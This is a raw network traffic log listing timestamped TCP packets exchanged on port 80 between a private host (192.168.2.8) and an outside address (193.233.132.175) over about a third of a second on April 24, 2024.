Apr 24, 2024 14:43:17.080621958 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.080668926 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.080684900 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.080688953 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.080708027 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.080724955 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.080795050 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.080832958 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.080859900 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.080897093 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.080921888 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.080970049 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.080995083 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081032991 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081084967 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081170082 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081183910 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081192970 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081211090 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081237078 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081269979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081302881 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081341028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081379890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081408978 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081434965 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081443071 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081479073 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081520081 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081558943 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081562042 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081598043 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081641912 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081645012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081681967 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081692934 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081758976 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081759930 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081799030 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081816912 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081851959 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081873894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081912994 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081934929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081969023 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.081985950 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.081999063 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082020044 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082035065 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082056046 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082093954 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082118988 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082165956 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082190990 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082248926 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082268953 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082279921 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082314968 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082350969 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082376003 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082412004 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082437038 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082473993 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082499027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082535982 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082556009 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082617998 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082621098 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082658052 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082680941 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082730055 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082772970 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082817078 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082895994 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.082936049 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.082988024 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083010912 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083029032 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083059072 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083095074 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083095074 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083111048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083133936 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083143950 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083169937 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083204985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083218098 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083231926 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083267927 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083292961 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083343983 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083363056 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083391905 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083415985 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083487034 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083509922 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083523035 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083549023 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083597898 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083611012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083631992 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083659887 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083668947 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083743095 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083786964 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.083877087 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083934069 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.083971977 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084011078 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084048986 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084058046 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084110975 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084157944 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084196091 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084286928 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084321022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084325075 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084381104 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084393024 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084419966 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084436893 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084454060 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084517956 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084551096 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084551096 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084604979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084642887 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084646940 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084688902 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084700108 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084733009 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084741116 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084769964 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084799051 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084847927 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084851980 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084867001 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084913969 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.084938049 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.084997892 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085000038 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085026979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085081100 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085082054 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085092068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085119009 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085134983 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085176945 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085201025 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085227013 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085248947 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085262060 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085269928 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085328102 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085350990 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085374117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.085427999 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.085427999 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086366892 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086393118 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086406946 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086420059 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086432934 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086445093 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086445093 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086445093 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086457968 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086463928 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086472988 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086486101 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086492062 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086498976 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086510897 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086512089 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086525917 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086539030 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086550951 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086554050 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086569071 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086580038 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086585045 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086594105 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086597919 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086611986 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086621046 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086627960 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086642027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086642981 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086658001 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086671114 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086677074 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086684942 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086700916 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086724997 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086806059 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086838961 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086875916 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086910009 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.086915970 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.086946964 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087002039 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087016106 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087047100 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087074995 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087078094 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087142944 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087169886 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087188005 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087244034 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087291002 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087305069 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087331057 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087384939 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087400913 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087421894 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087426901 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087447882 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087466002 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087466955 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087558031 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087572098 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087619066 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087619066 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087619066 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087708950 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087727070 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087749004 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087779045 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087889910 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087904930 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087917089 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087934017 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.087939024 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087953091 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.087982893 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.088000059 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.088040113 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.088057041 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.088131905 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.418395996 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418422937 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418488026 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.418595076 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418611050 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418623924 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418668032 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.418668032 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.418724060 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418852091 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418864965 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.418911934 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.418912888 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419001102 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419014931 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419039965 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419090986 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419182062 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419194937 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419207096 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419233084 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419277906 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419312954 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419327974 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419339895 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419352055 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419358969 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419364929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419364929 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419388056 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419395924 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419434071 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419434071 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419614077 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419668913 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419804096 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419817924 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419828892 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419838905 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419842005 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419862032 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419980049 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.419985056 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.419992924 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420006037 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420041084 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420056105 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420169115 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420182943 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420255899 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420255899 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420329094 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420341969 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420440912 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420516014 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420531034 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420543909 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420557022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420568943 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420578957 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420660019 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420674086 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420682907 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420753002 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.420928955 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.420943022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421055079 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421055079 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421071053 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421082020 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421093941 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421097994 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421107054 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421116114 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421123028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421137094 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421152115 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421161890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421161890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421163082 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421178102 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421184063 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421190977 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421204090 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421227932 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421227932 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421256065 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421317101 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421330929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421341896 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421354055 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.421361923 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421401024 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.421583891 CEST	80	49710	193.233.132.175	192.168.2.8
